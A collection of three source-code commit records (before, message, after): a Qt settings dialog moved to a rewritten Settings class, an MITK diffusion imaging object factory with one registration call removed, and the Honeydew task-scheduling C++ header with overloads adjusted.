broadcastTimeoutSpinBox->setValue(Settings::get(Settings::BroadcastTimeout).toInt() / Settings::Second); broadcastIntervalSpinBox->setValue(Settings::get(Settings::BroadcastInterval).toInt() / Settings::Second); } <commit_msg>Modified SettingsDialog to use newly rewritten Settings class.<commit_after>/** * The MIT License (MIT) * * Copyright (c) 2015 Nathan Osman * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. **/ #include <QFileDialog> #include <QMessageBox> #include "settings.h" #include "settingsdialog.h" SettingsDialog::SettingsDialog() { setupUi(this); #ifndef BUILD_UPDATECHECKER // Remove the update controls delete updateCheckbox; delete updateIntervalLabel; delete updateIntervalSpinBox; #endif // Load the current values into the controls reload(); } void SettingsDialog::accept() { Settings *settings = Settings::instance(); settings->beginSet(); // Settings in the general tab settings->set(Settings::Key::DeviceName, deviceNameEdit->text()); settings->set(Settings::Key::TransferDirectory, transferDirectoryEdit->text()); #ifdef BUILD_UPDATECHECKER settings->set(Settings::Key::UpdateInterval, updateCheckbox->isChecked() ? updateIntervalSpinBox->value() * Settings::Constant::Hour : 0); #endif // Settings in the transfer section settings->set(Settings::Key::TransferPort, transferPortSpinBox->value()); settings->set(Settings::Key::TransferBuffer, transferBufferSpinBox->value() * Settings::Constant::KiB); // Settings in the broadcast section settings->set(Settings::Key::BroadcastPort, broadcastPortSpinBox->value()); settings->set(Settings::Key::BroadcastTimeout, broadcastTimeoutSpinBox->value() * Settings::Constant::Second); settings->set(Settings::Key::BroadcastInterval, broadcastIntervalSpinBox->value() * Settings::Constant::Second); settings->endSet(); QDialog::accept(); } void SettingsDialog::onResetButtonClicked() { // Confirm that the user wants to reset all of the settings QMessageBox::StandardButton response = QMessageBox::question( this, tr("Confirm Reset"), tr("Are you sure you want to reset all settings to their default values? This cannot be undone.") ); // Perform the reset and then reload all of the settings if(response == QMessageBox::Yes) { Settings::instance()->reset(); reload(); } } void SettingsDialog::onTransferDirectoryButtonClicked() { QString path = QFileDialog::getExistingDirectory(this, tr("Select Directory"), transferDirectoryEdit->text()); if(!path.isNull()) { transferDirectoryEdit->setText(path); } } void SettingsDialog::reload() { Settings *settings = Settings::instance(); // General tab deviceNameEdit->setText(settings->get(Settings::Key::DeviceName).toString()); transferDirectoryEdit->setText(settings->get(Settings::Key::TransferDirectory).toString()); #ifdef BUILD_UPDATECHECKER const int updateInterval = settings->get(Settings::Key::UpdateInterval).toInt(); updateCheckbox->setChecked(updateInterval); updateIntervalSpinBox->setEnabled(updateInterval); updateIntervalSpinBox->setValue(updateInterval / Settings::Constant::Hour); #endif // Transfer section transferPortSpinBox->setValue(settings->get(Settings::Key::TransferPort).toLongLong()); transferBufferSpinBox->setValue(settings->get(Settings::Key::TransferBuffer).toInt() / Settings::Constant::KiB); // Broadcast section broadcastPortSpinBox->setValue(settings->get(Settings::Key::BroadcastPort).toLongLong()); broadcastTimeoutSpinBox->setValue(settings->get(Settings::Key::BroadcastTimeout).toInt() / Settings::Constant::Second); broadcastIntervalSpinBox->setValue(settings->get(Settings::Key::BroadcastInterval).toInt() / Settings::Constant::Second); } <|endoftext|>
<commit_before>/*=================================================================== The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See LICENSE.txt or http://www.mitk.org for details. ===================================================================*/ #include "mitkDiffusionCoreObjectFactory.h" #include "mitkProperties.h" #include "mitkBaseRenderer.h" #include "mitkDataNode.h" #include "mitkNrrdDiffusionImageIOFactory.h" #include "mitkNrrdDiffusionImageWriterFactory.h" #include "mitkNrrdDiffusionImageWriter.h" #include "mitkDiffusionImage.h" #include "mitkNrrdQBallImageIOFactory.h" #include "mitkNrrdQBallImageWriterFactory.h" #include "mitkNrrdQBallImageWriter.h" #include "mitkNrrdTensorImageIOFactory.h" #include "mitkNrrdTensorImageWriterFactory.h" #include "mitkNrrdTensorImageWriter.h" #include "mitkCompositeMapper.h" #include "mitkDiffusionImageMapper.h" #include "mitkGPUVolumeMapper3D.h" #include "mitkVolumeDataVtkMapper3D.h" #include "mitkPlanarFigureMapper3D.h" typedef short DiffusionPixelType; typedef mitk::DiffusionImage<DiffusionPixelType> DiffusionImageShort; typedef std::multimap<std::string, std::string> MultimapType; mitk::DiffusionCoreObjectFactory::DiffusionCoreObjectFactory() :CoreObjectFactoryBase() { static bool alreadyDone = false; if (!alreadyDone) { MITK_DEBUG << "DiffusionCoreObjectFactory c'tor" << std::endl; RegisterIOFactories(); mitk::NrrdDiffusionImageIOFactory::RegisterOneFactory(); mitk::NrrdQBallImageIOFactory::RegisterOneFactory(); mitk::NrrdTensorImageIOFactory::RegisterOneFactory(); mitk::NrrdDiffusionImageWriterFactory::RegisterOneFactory(); mitk::NrrdQBallImageWriterFactory::RegisterOneFactory(); mitk::NrrdTensorImageWriterFactory::RegisterOneFactory(); m_FileWriters.push_back( NrrdDiffusionImageWriter<DiffusionPixelType>::New().GetPointer() ); m_FileWriters.push_back( NrrdQBallImageWriter::New().GetPointer() ); m_FileWriters.push_back( NrrdTensorImageWriter::New().GetPointer() ); mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory(this); CreateFileExtensionsMap(); alreadyDone = true; } } mitk::Mapper::Pointer mitk::DiffusionCoreObjectFactory::CreateMapper(mitk::DataNode* node, MapperSlotId id) { mitk::Mapper::Pointer newMapper=NULL; if ( id == mitk::BaseRenderer::Standard2D ) { std::string classname("QBallImage"); if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::CompositeMapper::New(); newMapper->SetDataNode(node); node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper()); } classname = "TensorImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::CompositeMapper::New(); newMapper->SetDataNode(node); node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper()); } classname = "DiffusionImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::DiffusionImageMapper<short>::New(); newMapper->SetDataNode(node); } } else if ( id == mitk::BaseRenderer::Standard3D ) { std::string classname("QBallImage"); if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::GPUVolumeMapper3D::New(); newMapper->SetDataNode(node); } classname = "TensorImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::GPUVolumeMapper3D::New(); newMapper->SetDataNode(node); } classname = "DiffusionImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::GPUVolumeMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarRectangle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarCircle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarEllipse"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarPolygon"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } } return newMapper; } void mitk::DiffusionCoreObjectFactory::SetDefaultProperties(mitk::DataNode* node) { std::string classname = "QBallImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::CompositeMapper::SetDefaultProperties(node); mitk::GPUVolumeMapper3D::SetDefaultProperties(node); } classname = "TensorImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::CompositeMapper::SetDefaultProperties(node); mitk::GPUVolumeMapper3D::SetDefaultProperties(node); } classname = "DiffusionImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::DiffusionImageMapper<short>::SetDefaultProperties(node); mitk::GPUVolumeMapper3D::SetDefaultProperties(node); } classname = "PlanarRectangle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } classname = "PlanarEllipse"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } classname = "PlanarCircle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } classname = "PlanarPolygon"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } } const char* mitk::DiffusionCoreObjectFactory::GetFileExtensions() { std::string fileExtension; this->CreateFileExtensions(m_FileExtensionsMap, fileExtension); return fileExtension.c_str(); } mitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetFileExtensionsMap() { return m_FileExtensionsMap; } const char* mitk::DiffusionCoreObjectFactory::GetSaveFileExtensions() { std::string fileExtension; this->CreateFileExtensions(m_SaveFileExtensionsMap, fileExtension); return fileExtension.c_str(); } mitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetSaveFileExtensionsMap() { return m_SaveFileExtensionsMap; } void mitk::DiffusionCoreObjectFactory::CreateFileExtensionsMap() { m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.dwi", "Diffusion Weighted Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdwi", "Diffusion Weighted Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.nii", "Diffusion Weighted Images for FSL")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.fsl", "Diffusion Weighted Images for FSL")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.fslgz", "Diffusion Weighted Images for FSL")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.qbi", "Q-Ball Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.hqbi", "Q-Ball Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.dti", "Tensor Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdti", "Tensor Images")); // m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.pf", "Planar Figure File")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.dwi", "Diffusion Weighted Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdwi", "Diffusion Weighted Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.nii", "Diffusion Weighted Images for FSL")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.fsl", "Diffusion Weighted Images for FSL")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.fslgz", "Diffusion Weighted Images for FSL")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.qbi", "Q-Ball Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.hqbi", "Q-Ball Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.dti", "Tensor Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdti", "Tensor Images")); // m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.pf", "Planar Figure File")); } void mitk::DiffusionCoreObjectFactory::RegisterIOFactories() { } struct RegisterDiffusionCoreObjectFactory{ RegisterDiffusionCoreObjectFactory() : m_Factory( mitk::DiffusionCoreObjectFactory::New() ) { mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory( m_Factory ); } ~RegisterDiffusionCoreObjectFactory() { mitk::CoreObjectFactory::GetInstance()->UnRegisterExtraFactory( m_Factory ); } mitk::DiffusionCoreObjectFactory::Pointer m_Factory; }; static RegisterDiffusionCoreObjectFactory registerDiffusionCoreObjectFactory; <commit_msg>remove RegisterIOFactories call<commit_after>/*=================================================================== The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See LICENSE.txt or http://www.mitk.org for details. ===================================================================*/ #include "mitkDiffusionCoreObjectFactory.h" #include "mitkProperties.h" #include "mitkBaseRenderer.h" #include "mitkDataNode.h" #include "mitkNrrdDiffusionImageIOFactory.h" #include "mitkNrrdDiffusionImageWriterFactory.h" #include "mitkNrrdDiffusionImageWriter.h" #include "mitkDiffusionImage.h" #include "mitkNrrdQBallImageIOFactory.h" #include "mitkNrrdQBallImageWriterFactory.h" #include "mitkNrrdQBallImageWriter.h" #include "mitkNrrdTensorImageIOFactory.h" #include "mitkNrrdTensorImageWriterFactory.h" #include "mitkNrrdTensorImageWriter.h" #include "mitkCompositeMapper.h" #include "mitkDiffusionImageMapper.h" #include "mitkGPUVolumeMapper3D.h" #include "mitkVolumeDataVtkMapper3D.h" #include "mitkPlanarFigureMapper3D.h" typedef short DiffusionPixelType; typedef mitk::DiffusionImage<DiffusionPixelType> DiffusionImageShort; typedef std::multimap<std::string, std::string> MultimapType; mitk::DiffusionCoreObjectFactory::DiffusionCoreObjectFactory() :CoreObjectFactoryBase() { static bool alreadyDone = false; if (!alreadyDone) { MITK_DEBUG << "DiffusionCoreObjectFactory c'tor" << std::endl; mitk::NrrdDiffusionImageIOFactory::RegisterOneFactory(); mitk::NrrdQBallImageIOFactory::RegisterOneFactory(); mitk::NrrdTensorImageIOFactory::RegisterOneFactory(); mitk::NrrdDiffusionImageWriterFactory::RegisterOneFactory(); mitk::NrrdQBallImageWriterFactory::RegisterOneFactory(); mitk::NrrdTensorImageWriterFactory::RegisterOneFactory(); m_FileWriters.push_back( NrrdDiffusionImageWriter<DiffusionPixelType>::New().GetPointer() ); m_FileWriters.push_back( NrrdQBallImageWriter::New().GetPointer() ); m_FileWriters.push_back( NrrdTensorImageWriter::New().GetPointer() ); mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory(this); CreateFileExtensionsMap(); alreadyDone = true; } } mitk::Mapper::Pointer mitk::DiffusionCoreObjectFactory::CreateMapper(mitk::DataNode* node, MapperSlotId id) { mitk::Mapper::Pointer newMapper=NULL; if ( id == mitk::BaseRenderer::Standard2D ) { std::string classname("QBallImage"); if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::CompositeMapper::New(); newMapper->SetDataNode(node); node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper()); } classname = "TensorImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::CompositeMapper::New(); newMapper->SetDataNode(node); node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper()); } classname = "DiffusionImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::DiffusionImageMapper<short>::New(); newMapper->SetDataNode(node); } } else if ( id == mitk::BaseRenderer::Standard3D ) { std::string classname("QBallImage"); if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::GPUVolumeMapper3D::New(); newMapper->SetDataNode(node); } classname = "TensorImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::GPUVolumeMapper3D::New(); newMapper->SetDataNode(node); } classname = "DiffusionImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::GPUVolumeMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarRectangle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarCircle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarEllipse"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } classname = "PlanarPolygon"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { newMapper = mitk::PlanarFigureMapper3D::New(); newMapper->SetDataNode(node); } } return newMapper; } void mitk::DiffusionCoreObjectFactory::SetDefaultProperties(mitk::DataNode* node) { std::string classname = "QBallImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::CompositeMapper::SetDefaultProperties(node); mitk::GPUVolumeMapper3D::SetDefaultProperties(node); } classname = "TensorImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::CompositeMapper::SetDefaultProperties(node); mitk::GPUVolumeMapper3D::SetDefaultProperties(node); } classname = "DiffusionImage"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::DiffusionImageMapper<short>::SetDefaultProperties(node); mitk::GPUVolumeMapper3D::SetDefaultProperties(node); } classname = "PlanarRectangle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } classname = "PlanarEllipse"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } classname = "PlanarCircle"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } classname = "PlanarPolygon"; if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0) { mitk::PlanarFigureMapper3D::SetDefaultProperties(node); } } const char* mitk::DiffusionCoreObjectFactory::GetFileExtensions() { std::string fileExtension; this->CreateFileExtensions(m_FileExtensionsMap, fileExtension); return fileExtension.c_str(); } mitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetFileExtensionsMap() { return m_FileExtensionsMap; } const char* mitk::DiffusionCoreObjectFactory::GetSaveFileExtensions() { std::string fileExtension; this->CreateFileExtensions(m_SaveFileExtensionsMap, fileExtension); return fileExtension.c_str(); } mitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetSaveFileExtensionsMap() { return m_SaveFileExtensionsMap; } void mitk::DiffusionCoreObjectFactory::CreateFileExtensionsMap() { m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.dwi", "Diffusion Weighted Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdwi", "Diffusion Weighted Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.nii", "Diffusion Weighted Images for FSL")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.fsl", "Diffusion Weighted Images for FSL")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.fslgz", "Diffusion Weighted Images for FSL")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.qbi", "Q-Ball Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.hqbi", "Q-Ball Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.dti", "Tensor Images")); m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdti", "Tensor Images")); // m_FileExtensionsMap.insert(std::pair<std::string, std::string>("*.pf", "Planar Figure File")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.dwi", "Diffusion Weighted Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdwi", "Diffusion Weighted Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.nii", "Diffusion Weighted Images for FSL")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.fsl", "Diffusion Weighted Images for FSL")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.fslgz", "Diffusion Weighted Images for FSL")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.qbi", "Q-Ball Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.hqbi", "Q-Ball Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.dti", "Tensor Images")); m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.hdti", "Tensor Images")); // m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>("*.pf", "Planar Figure File")); } void mitk::DiffusionCoreObjectFactory::RegisterIOFactories() { } struct RegisterDiffusionCoreObjectFactory{ RegisterDiffusionCoreObjectFactory() : m_Factory( mitk::DiffusionCoreObjectFactory::New() ) { mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory( m_Factory ); } ~RegisterDiffusionCoreObjectFactory() { mitk::CoreObjectFactory::GetInstance()->UnRegisterExtraFactory( m_Factory ); } mitk::DiffusionCoreObjectFactory::Pointer m_Factory; }; static RegisterDiffusionCoreObjectFactory registerDiffusionCoreObjectFactory; <|endoftext|>
<commit_before>// This file is part of Honeydew // Honeydew is licensed under the MIT LICENSE. See the LICENSE file for more info. #pragma once #include <honeydew/task_t.hpp> namespace honeydew { /** * Class that allows for easy building of task_t* structures. * Usage is expected to be via daisy-chaining of function calls * onto this object like Task(func1).then(func2).also(func3); */ class Task { public: /** * Constructs a new, empty Task wrapper object. */ Task(); /** * Constructs a new task object with a given priority. * @arg function to schedule and call on the associated worker thread. * @arg worker the associated thread on which to run this action. Worker=0 means any worker. * @arg priority the absolute priority (priority) of this call. */ Task(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Deleted copy constructor. */ Task(const Task& other) = delete; /** * Move constructor. */ Task(Task&& other); /** * Initializes a previously uninitialized task. This function throws std::runtime_error * if the task was previously initialized. */ void init(std::function<void()> action=0, size_t worker=0, uint64_t priority=0); /** * Deleted copy assignment. */ Task& operator=(const Task& other) = delete; // Move assignment. Task& operator=(Task&& other); /** * Cleans up the internals of this object if necessary. */ ~Task(); /** * Schedules a task with the given priority to be run after the previous task(s) * on the given worker thread * @arg action the task to be performed. * @arg worker the associated worker for this task to run on. Worker=0 means any worker. * @arg priority the priority of the task (added to the previous task's priority). */ Task& then(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Schedules a task with the given priority to be run after the previous task(s) * on the given worker thread * @arg action the task to be performed. * @arg worker the associated worker for this task to run on. Worker=0 means any worker. * @arg priority the priority of the task (absolute, not added to previous task's priority). */ Task& then_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0); /* * Adds another task_t heirarchy as a then relationship to the end of this Task structure. * @arg other the root of another task heirarchy. * @return a reference to this task for daisy chaining. */ Task& then(task_t* other); template<typename TaskType> Task& then(TaskType&& other) { return then(other.close()); } /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the priority of the task. (added to the previous task's priority). */ Task& also(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the absolute priority of the task. (not added to the previous task's priority). */ Task& also_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Adds another task_t* structure as an also relationship to this task. The other heirarchy * will take place at the same time as the last level of tasks in this hierarchy. * @arg other the root of the other task heirarchy. * @return a reference to this task for daisy chaining. */ Task& also(task_t* other); template<typename TaskType> Task& also(TaskType&& other) { return also(other.close()); } /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will not wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the priority of the task. (added to the previous task's priority). */ Task& fork(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will not wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the absolute priority of the task. (not added to the previous task's priority). */ Task& fork_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Adds another task heirarchy as a forked task onto this heirarchy. * @arg other the other task heirarchy to fork from the current leaf of this heirarchy. * @return this task. */ Task& fork(task_t* other); template<typename TaskType> Task& fork(TaskType& other) { return fork(other.close()); } /** * Returns the associated task_t* of this object and then !empties this object! * This function is intended to be used by the Honeydew implementing classes ONLY! * @return the root of the built task_t* structure. */ task_t* close(); private: task_t *root, *or_root, *leaf; }; } <commit_msg>Renamed 'deadline' to priority. Added then, also, and fork task_t* methods.<commit_after>// This file is part of Honeydew // Honeydew is licensed under the MIT LICENSE. See the LICENSE file for more info. #pragma once #include <honeydew/task_t.hpp> namespace honeydew { /** * Class that allows for easy building of task_t* structures. * Usage is expected to be via daisy-chaining of function calls * onto this object like Task(func1).then(func2).also(func3); */ class Task { public: /** * Constructs a new, empty Task wrapper object. */ Task(); /** * Constructs a new task object with a given priority. * @arg function to schedule and call on the associated worker thread. * @arg worker the associated thread on which to run this action. Worker=0 means any worker. * @arg priority the absolute priority (priority) of this call. */ Task(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Deleted copy constructor. */ Task(const Task& other) = delete; /** * Move constructor. */ Task(Task&& other); /** * Initializes a previously uninitialized task. This function throws std::runtime_error * if the task was previously initialized. */ void init(std::function<void()> action=0, size_t worker=0, uint64_t priority=0); /** * Deleted copy assignment. */ Task& operator=(const Task& other) = delete; // Move assignment. Task& operator=(Task&& other); /** * Cleans up the internals of this object if necessary. */ ~Task(); /** * Schedules a task with the given priority to be run after the previous task(s) * on the given worker thread * @arg action the task to be performed. * @arg worker the associated worker for this task to run on. Worker=0 means any worker. * @arg priority the priority of the task (added to the previous task's priority). */ Task& then(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Schedules a task with the given priority to be run after the previous task(s) * on the given worker thread * @arg action the task to be performed. * @arg worker the associated worker for this task to run on. Worker=0 means any worker. * @arg priority the priority of the task (absolute, not added to previous task's priority). */ Task& then_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0); /* * Adds another task_t heirarchy as a then relationship to the end of this Task structure. * @arg other the root of another task heirarchy. * @return a reference to this task for daisy chaining. */ Task& then(task_t* other); /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the priority of the task. (added to the previous task's priority). */ Task& also(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the absolute priority of the task. (not added to the previous task's priority). */ Task& also_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Adds another task_t* structure as an also relationship to this task. The other heirarchy * will take place at the same time as the last level of tasks in this hierarchy. * @arg other the root of the other task heirarchy. * @return a reference to this task for daisy chaining. */ Task& also(task_t* other); /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will not wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the priority of the task. (added to the previous task's priority). */ Task& fork(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Schedules a task to occur concurrently with the previous task with the given priority * on the associated worker thread. Further tasks will not wait for this task to complete. * @arg action the task to perform. * @arg worker the associated worker thread. Worker=0 means any worker. * @arg priority the absolute priority of the task. (not added to the previous task's priority). */ Task& fork_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0); /** * Adds another task heirarchy as a forked task onto this heirarchy. * @arg other the other task heirarchy to fork from the current leaf of this heirarchy. * @return this task. */ Task& fork(task_t* other); /** * Returns the associated task_t* of this object and then !empties this object! * This function is intended to be used by the Honeydew implementing classes ONLY! * @return the root of the built task_t* structure. */ task_t* close(); private: task_t *root, *or_root, *leaf; }; } <|endoftext|>
